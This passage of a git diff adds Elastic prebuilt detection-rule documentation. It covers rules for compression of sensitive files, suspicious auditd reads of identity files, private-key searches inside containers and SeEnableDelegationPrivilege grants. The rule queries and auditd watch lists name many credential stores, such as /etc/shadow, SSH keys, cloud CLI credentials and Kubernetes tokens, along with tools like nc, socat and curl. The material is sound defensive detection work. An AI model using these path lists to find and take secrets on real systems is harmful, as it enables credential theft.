or unauthorized access. This can be done by stopping the container or disconnecting it from the network. +- Conduct a thorough review of the compressed files and their contents to assess the extent of sensitive data exposure. Focus on the specific file paths identified in the alert. +- Change credentials and keys that may have been compromised, including SSH keys, AWS credentials, and Docker configurations. Ensure that new credentials are distributed securely. +- Review and update access controls and permissions for sensitive files within containers to minimize exposure. Ensure that only necessary processes and users have access to these files. +- Implement monitoring and alerting for similar compression activities in other containers to detect potential threats early. Use the identified process names and arguments as indicators. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data have been affected. +- Conduct a post-incident review to identify gaps in security controls and update container security policies to prevent recurrence. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. + +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process.entry_leader.entry_meta.type == "container" and process.name in ("zip", "tar", "gzip", "hdiutil", "7z") and +process.command_line like~ ( + "*/root/.ssh/*", "*/home/*/.ssh/*", "*/root/.bash_history*", "*/etc/hosts*", "*/root/.aws/*", "*/home/*/.aws/*", + "*/root/.docker/*", "*/home/*/.docker/*", "*/etc/group*", "*/etc/passwd*", "*/etc/shadow*", "*/etc/gshadow*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ +* Technique: +** Name: Archive Collected Data +** ID: T1560 +** Reference URL: https://attack.mitre.org/techniques/T1560/ +* Sub-technique: +** Name: Archive via Utility +** ID: T1560.001 +** Reference URL: https://attack.mitre.org/techniques/T1560/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sensitive-files-compression.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sensitive-files-compression.asciidoc new file mode 100644 index 0000000000..3e531bd798 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sensitive-files-compression.asciidoc @@ -0,0 +1,236 @@ +[[prebuilt-rule-8-19-34-sensitive-files-compression]] +=== Sensitive Files Compression + +Identifies the use of a compression utility to collect known files containing sensitive information, such as credentials and system configurations. + +*Rule type*: new_terms + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.trendmicro.com/en_ca/research/20/l/teamtnt-now-deploying-ddos-capable-irc-bot-tntbotinger.html + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Collection +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 217 + +*Rule authors*: + +* Elastic +* Massimo Bertocchi + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Sensitive Files Compression* + + +Compression utilities like zip, tar, and gzip are essential for efficiently managing and transferring files. However, adversaries can exploit these tools to compress and exfiltrate sensitive data, such as SSH keys and configuration files. The detection rule identifies suspicious compression activities by monitoring process executions involving these utilities and targeting known sensitive file paths, thereby flagging potential data collection and credential access attempts. + + +*Possible investigation steps* + + +- Review the process execution details to identify the user account associated with the compression activity, focusing on the process.name and process.args fields. +- Examine the command line arguments (process.args) to determine which specific sensitive files were targeted for compression. +- Check the event.timestamp to establish a timeline and correlate with other potentially suspicious activities on the host. +- Investigate the host's recent login history and user activity to identify any unauthorized access attempts or anomalies. +- Analyze network logs for any outbound connections from the host around the time of the event to detect potential data exfiltration attempts. +- Assess the integrity and permissions of the sensitive files involved to determine if they have been altered or accessed inappropriately. + + +*False positive analysis* + + +- Routine system backups or administrative tasks may trigger the rule if they involve compressing sensitive files for legitimate purposes. Users can create exceptions for known backup scripts or administrative processes by excluding specific process names or command-line arguments associated with these tasks. +- Developers or system administrators might compress configuration files during development or deployment processes. To handle this, users can whitelist specific user accounts or directories commonly used for development activities, ensuring these actions are not flagged as suspicious. +- Automated scripts or cron jobs that regularly archive logs or configuration files could be mistakenly identified as threats. Users should review and exclude these scheduled tasks by identifying their unique process identifiers or execution patterns. +- Security tools or monitoring solutions that periodically compress and transfer logs for analysis might be misinterpreted as malicious. Users can exclude these tools by specifying their process names or paths in the detection rule exceptions. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further data exfiltration and unauthorized access. +- Terminate any suspicious processes identified by the detection rule to halt ongoing compression and potential data exfiltration activities. +- Conduct a thorough review of the compressed files and their contents to assess the extent of sensitive data exposure and determine if any data has been exfiltrated. +- Change all credentials associated with the compromised files, such as SSH keys and AWS credentials, to prevent unauthorized access using stolen credentials. +- Restore any altered or deleted configuration files from a known good backup to ensure system integrity and functionality. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for compression utilities and sensitive file access to detect and respond to similar threats more effectively in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and +event.action:("exec" or "exec_event" or "start" or "executed" or "process_started") and +process.name:(zip or tar or gzip or hdiutil or 7z) and +process.args: + ( + /root/.ssh/id_rsa or + /root/.ssh/id_rsa.pub or + /root/.ssh/id_ed25519 or + /root/.ssh/id_ed25519.pub or + /root/.ssh/authorized_keys or + /root/.ssh/authorized_keys2 or + /root/.ssh/known_hosts or + /root/.bash_history or + /etc/hosts or + /home/*/.ssh/id_rsa or + /home/*/.ssh/id_rsa.pub or + /home/*/.ssh/id_ed25519 or + /home/*/.ssh/id_ed25519.pub or + /home/*/.ssh/authorized_keys or + /home/*/.ssh/authorized_keys2 or + /home/*/.ssh/known_hosts or + /home/*/.bash_history or + /root/.aws/credentials or + /root/.aws/config or + /home/*/.aws/credentials or + /home/*/.aws/config or + /home/*/.config/gcloud/credentials.db or + /home/*/.config/gcloud/access_tokens.db or + /home/*/.azure/credentials or + /root/.azure/credentials or + /root/.docker/config.json or + /home/*/.docker/config.json or + /root/.kube/config or + /home/*/.kube/config or + /etc/group or + /etc/passwd or + /etc/shadow or + /etc/gshadow + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ +* Technique: +** Name: Archive Collected Data +** ID: T1560 +** Reference URL: https://attack.mitre.org/techniques/T1560/ +* Sub-technique: +** Name: Archive via Utility +** ID: T1560.001 +** Reference URL: https://attack.mitre.org/techniques/T1560/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sensitive-identity-file-open-by-suspicious-process-via-auditd.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sensitive-identity-file-open-by-suspicious-process-via-auditd.asciidoc new file mode 100644 index 0000000000..22d8908f47 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sensitive-identity-file-open-by-suspicious-process-via-auditd.asciidoc @@ -0,0 +1,252 @@ +[[prebuilt-rule-8-19-34-sensitive-identity-file-open-by-suspicious-process-via-auditd]] +=== Sensitive Identity File Open by Suspicious Process via Auditd + +Detects Auditd opened-file reads on sensitive root and cluster paths (Kubernetes token mounts, kubelet and admin kubeconfig, PKI material, shadow, root SSH keys, root cloud CLI and Docker config) when the process looks like common copy or scripting utilities or the binary runs from temp or run staging. User home paths are excluded so file watches stay explicit and aligned with auditd. + +*Rule type*: query + +*Rule indices*: + +* logs-auditd_manager.auditd-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1552/001/ +* https://attack.mitre.org/techniques/T1552/007/ + +*Tags*: + +* Domain: Endpoint +* Domain: Identity +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Sensitive Identity File Open by Suspicious Process via Auditd* + + +Review which file.path matched, the process name and executable, parent command line, and the Linux user or audit +identity. Pivot on the same host for adjacent opens, network egress, or privilege changes. Compare against known +maintenance windows and automation identities. + + +*Possible investigation steps* + + +- Confirm whether the workload is a Kubernetes node, jump host, or developer machine and whether the actor should read + the matched path at all. +- For Kubernetes token paths, map the process to a container or host PID namespace and inspect pod security context and + projected volumes. +- For cloud credential JSON or shared credentials files, check cloud audit logs for API or token activity shortly after + the open timestamp. +- Capture file hash and process binary hash where possible for incident evidence. + + +*False positive analysis* + + +- Legitimate kubelet or control plane components may touch admin.conf or PKI material on control plane nodes; scope the + rule to worker roles if noisy. +- CI users running tests from /tmp with cat against a copied kubeconfig can match; tune process or user allowlists. + + +*Response and remediation* + + +- If malicious, isolate the host, rotate exposed keys and tokens, invalidate cloud sessions, and review RBAC and file + permissions on shared credential stores. + + +==== Setup + + + +*Setup* + + +This rule expects the Elastic Agent Auditd Manager integration on Linux, with audit rules that emit file open events +for the paths you care about. Use Fleet to install and configure Auditd Manager, then paste custom rules into the +integration so opens are audited before they reach Elasticsearch. + + +*Step 1: Add Auditd Manager in Fleet* + + +1. In Kibana, open Management, then Integrations. +2. Search for Auditd Manager and open the integration card. +3. Click Add Auditd Manager, assign a name, and add the integration to the Elastic Agent policy that runs on your + Linux hosts (nodes, jump boxes, or developer workstations as applicable). +4. Save and deploy the policy so agents enroll or update. + + +*Step 2: Paste audit rules into Auditd Manager* + + +1. Edit the same Auditd Manager integration policy. +2. Open the Audit rules (or Auditd rule files) section used for free-form audit.rules content. +3. Paste the block below into the audit rules text box, then save the integration policy again so agents reload rules. + +The permission mask uses r (read) together with w (write) and a (attribute change) so auditd emits events on read +opens such as cat or head, which align with opened-file in the detection query. Write and attribute bits still catch +modifications. If your site policy prefers read-only watches, you may narrow to -p r at the cost of missing write-side +telemetry on the same paths. + +``` + +*Kubernetes and node identity material* + +-w /var/run/secrets/kubernetes.io/serviceaccount/token -p rwa -k elastic_sensitive_identity +-w /var/run/secrets/eks.amazonaws.com/serviceaccount/token -p rwa -k elastic_sensitive_identity +-w /var/run/secrets/azure/tokens/azure-identity-token -p rwa -k elastic_sensitive_identity +-w /var/run/secrets/tokens/azure-identity-token -p rwa -k elastic_sensitive_identity +-w /var/lib/kubelet/kubeconfig -p rwa -k elastic_sensitive_identity +-w /etc/kubernetes/admin.conf -p rwa -k elastic_sensitive_identity +-w /etc/kubernetes/pki/ca.key -p rwa -k elastic_sensitive_identity +-w /etc/kubernetes/pki/apiserver-kubelet-client.key -p rwa -k elastic_sensitive_identity +-w /var/lib/kubelet/pki/kubelet-client-current.pem -p rwa -k elastic_sensitive_identity +-w /etc/rancher/k3s/k3s.yaml -p rwa -k elastic_sensitive_identity + + +*Host credential stores (root only)* + +-w /etc/shadow -p rwa -k elastic_sensitive_identity +-w /root/.ssh/id_rsa -p rwa -k elastic_sensitive_identity +-w /root/.ssh/id_ed25519 -p rwa -k elastic_sensitive_identity +-w /root/.ssh/id_ecdsa -p rwa -k elastic_sensitive_identity +-w /root/.aws/credentials -p rwa -k elastic_sensitive_identity +-w /root/.aws/config -p rwa -k elastic_sensitive_identity +-w /root/.azure/accessTokens.json -p rwa -k elastic_sensitive_identity +-w /root/.azure/azureProfile.json -p rwa -k elastic_sensitive_identity +-w /root/.azure/msal_token_cache.json -p rwa -k elastic_sensitive_identity +-w /root/.config/gcloud/application_default_credentials.json -p rwa -k elastic_sensitive_identity +-w /root/.config/gcloud/credentials.db -p rwa -k elastic_sensitive_identity +-w /root/.config/gcloud/access_tokens.db -p rwa -k elastic_sensitive_identity +-w /root/.kube/config -p rwa -k elastic_sensitive_identity +-w /root/.docker/config.json -p rwa -k elastic_sensitive_identity +``` + + +*Step 3: Reload and verify* + + +1. Confirm auditd is active on the host and that auditctl -l (or equivalent) lists the new rules without syntax errors. +2. Generate a harmless test open in a lab (for example cat of a non-production token file you control) and confirm + documents land in logs-auditd_manager.auditd-* with event.category file and event.action opened-file (or the closest + normalized action your stack maps for open syscalls). +3. If event.action differs in your environment, adjust the rule query to include the mapped value while keeping the + same path and process logic. + +Further background: https://docs.elastic.co/integrations/auditd_manager + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:"linux" and +data_stream.dataset:"auditd_manager.auditd" and +event.category:"file" and +event.action:"opened-file" and +( + process.name:( + cp or mv or ln or cat or head or tail or + base64 or xxd or od or + curl or wget or + tar or zip or gzip or scp or rsync or + python* or perl* or ruby* or node or bun or php* or lua* or + tee or dd or + nc or ncat or netcat or socat or + openssl or ssh or sftp or + busybox or jq or yq or + strings or xargs or sed or awk or grep or find or + .* + ) or + process.executable:(/tmp/* or /var/tmp/* or /dev/shm/* or /run/*) or + (process.name:(sh or bash or zsh or dash or fish or ksh) and process.args:("-c" or "-i")) +) and +file.path:( + "/var/run/secrets/kubernetes.io/serviceaccount/token" or + "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt" or + "/var/run/secrets/eks.amazonaws.com/serviceaccount/token" or + "/var/run/secrets/azure/tokens/azure-identity-token" or + "/var/run/secrets/tokens/azure-identity-token" or + "/var/lib/kubelet/kubeconfig" or + "/etc/kubernetes/admin.conf" or + "/etc/kubernetes/pki/ca.key" or + "/etc/kubernetes/pki/apiserver-kubelet-client.key" or + "/var/lib/kubelet/pki/kubelet-client-current.pem" or + "/etc/rancher/k3s/k3s.yaml" or + "/etc/shadow" or + "/root/.ssh/id_rsa" or + "/root/.ssh/id_ed25519" or + "/root/.ssh/id_ecdsa" or + "/root/.aws/credentials" or + "/root/.aws/config" or + "/root/.aws/cli/cache" or + "/root/.aws/sso/cache" or + "/root/.azure/accessTokens.json" or + "/root/.azure/azureProfile.json" or + "/root/.azure/msal_token_cache.json" or + "/root/.azure/msal_http_cache.bin" or + "/root/.config/gcloud/application_default_credentials.json" or + "/root/.config/gcloud/credentials.db" or + "/root/.config/gcloud/access_tokens.db" or + "/root/.config/gcloud/legacy_credentials" or + "/root/.kube/config" or + "/root/.docker/config.json" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Sub-technique: +** Name: Container API +** ID: T1552.007 +** Reference URL: https://attack.mitre.org/techniques/T1552/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sensitive-keys-or-passwords-searched-for-inside-a-container.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sensitive-keys-or-passwords-searched-for-inside-a-container.asciidoc new file mode 100644 index 0000000000..846fe67c96 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sensitive-keys-or-passwords-searched-for-inside-a-container.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-34-sensitive-keys-or-passwords-searched-for-inside-a-container]] +=== Sensitive Keys Or Passwords Searched For Inside A Container + +This rule detects the use of system search utilities like grep and find to search for private SSH keys or passwords inside a container. Unauthorized access to these sensitive files could lead to further compromise of the container environment or facilitate a container breakout to the underlying host machine. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://sysdig.com/blog/cve-2021-25741-kubelet-falco/ + +*Tags*: + +* Domain: Containers +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Domain: Endpoint + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Sensitive Keys Or Passwords Searched For Inside A Container* + + +Containers encapsulate applications, providing isolated environments. Adversaries may exploit search utilities like grep or find to locate sensitive credentials within containers, potentially leading to unauthorized access or container escape. The detection rule identifies suspicious searches for private keys or passwords, flagging potential credential access attempts by monitoring process activities and arguments. + + +*Possible investigation steps* + + +- Examine the process.name and process.args fields to determine the exact command executed and assess whether it aligns with typical usage patterns or indicates malicious intent. +- Check the user context under which the process was executed to understand if the activity was performed by a legitimate user or an unauthorized entity. +- Investigate the container's recent activity logs to identify any other suspicious behavior or anomalies that might correlate with the search for sensitive keys or passwords. +- Assess the potential impact by determining if any sensitive files, such as private keys or password files, were accessed or exfiltrated following the search activity. +- If possible, correlate the event with network logs to identify any outbound connections that might suggest data exfiltration attempts. + + +*False positive analysis* + + +- Routine administrative tasks may trigger the rule when system administrators use grep or find to audit or manage SSH keys and passwords within containers. To mitigate this, create exceptions for known administrative scripts or processes that regularly perform these tasks. +- Automated backup or configuration management tools might search for sensitive files as part of their normal operation. Identify these tools and exclude their process IDs or specific command patterns from triggering the rule. +- Security scanning tools that check for the presence of sensitive files could be flagged. Whitelist these tools by their process names or arguments to prevent false positives. +- Developers or DevOps personnel might use search utilities during debugging or development processes. Establish a list of trusted users or roles and exclude their activities from the rule to reduce noise. +- Continuous integration/continuous deployment (CI/CD) pipelines may include steps that search for keys or passwords for validation purposes. Exclude these pipeline processes by identifying their unique process arguments or container IDs. + + +*Response and remediation* + + +- Immediately isolate the affected container to prevent further unauthorized access or potential container escape to the host system. This can be done by stopping the container or disconnecting it from the network. +- Conduct a thorough review of the container's logs and process activities to identify any unauthorized access or data exfiltration attempts. Pay special attention to the processes and arguments flagged by the detection rule. +- Rotate any potentially compromised credentials, including SSH keys and passwords, that were stored or accessed within the container. Ensure that new credentials are securely stored and managed. +- Assess the container's configuration and access controls to identify and rectify any security misconfigurations that may have allowed the unauthorized search for sensitive information. +- Implement additional monitoring and alerting for similar suspicious activities across other containers and the host environment to detect and respond to potential threats promptly. +- Escalate the incident to the security operations team for further investigation and to determine if the threat has spread beyond the initial container. +- Review and update container security policies and practices to prevent recurrence, including enforcing least privilege access and using secrets management solutions to handle sensitive information securely. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. + +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process.entry_leader.entry_meta.type == "container" and +process.name in ("grep", "egrep", "fgrep", "find", "locate", "mlocate") and +process.command_line like~ ( + "*BEGIN PRIVATE*", "*BEGIN OPENSSH PRIVATE*", "*BEGIN RSA PRIVATE*", "*BEGIN DSA PRIVATE*", "*BEGIN EC PRIVATE*", + "*id_rsa*", "*id_dsa*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sensitive-privilege-seenabledelegationprivilege-assigned-to-a-principal.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sensitive-privilege-seenabledelegationprivilege-assigned-to-a-principal.asciidoc new file mode 100644 index 0000000000..e5b6d21f22 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sensitive-privilege-seenabledelegationprivilege-assigned-to-a-principal.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-34-sensitive-privilege-seenabledelegationprivilege-assigned-to-a-principal]] +=== Sensitive Privilege SeEnableDelegationPrivilege assigned to a Principal + +Identifies the assignment of the SeEnableDelegationPrivilege sensitive "user right" to a security principal. This right enables computer and user accounts to be trusted for delegation. Attackers can abuse it to compromise Active Directory accounts and elevate their privileges. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-system.security* +* logs-windows.forwarded* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.harmj0y.net/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/ +* https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/security/win_security_alert_active_directory_user_control.yml +* https://twitter.com/_nwodtuhs/status/1454049485080907776 +* https://www.thehacker.recipes/ad/movement/kerberos/delegations +* https://github.com/atc-project/atomic-threat-coverage/blob/master/Atomic_Threat_Coverage/Logging_Policies/LP_0105_windows_audit_authorization_policy_change.md + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Persistence +* Data Source: Active Directory +* Resources: Investigation Guide +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 220 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Sensitive Privilege SeEnableDelegationPrivilege assigned to a Principal* + + + +*Possible investigation steps* + + +- Which principal received SeEnableDelegationPrivilege, and is it narrow enough for delegation administration? + - Focus: the "4704" grant's `winlog.event_data.PrivilegeList`, `winlog.event_data.TargetSid`, and `winlog.computer_name`; resolve `winlog.event_data.TargetSid` when the account name is absent. + - Implication: escalate when the target is a human user, broad admin cohort, stale account, or identity not dedicated to delegation administration; lower concern only for a narrow delegation-admin or service-management principal with controlled source, rollback, and no follow-on abuse. + +- Did a direct actor assign the right, or is the event local policy application? + - Why: "4704" often shows "SYSTEM" or the machine account applying policy, which is not the same as identifying the upstream policy editor. + - Focus: `winlog.event_data.SubjectUserSid`, `winlog.event_data.SubjectUserName`, `winlog.event_data.SubjectLogonId`, and `winlog.computer_name` to separate a human or service actor from 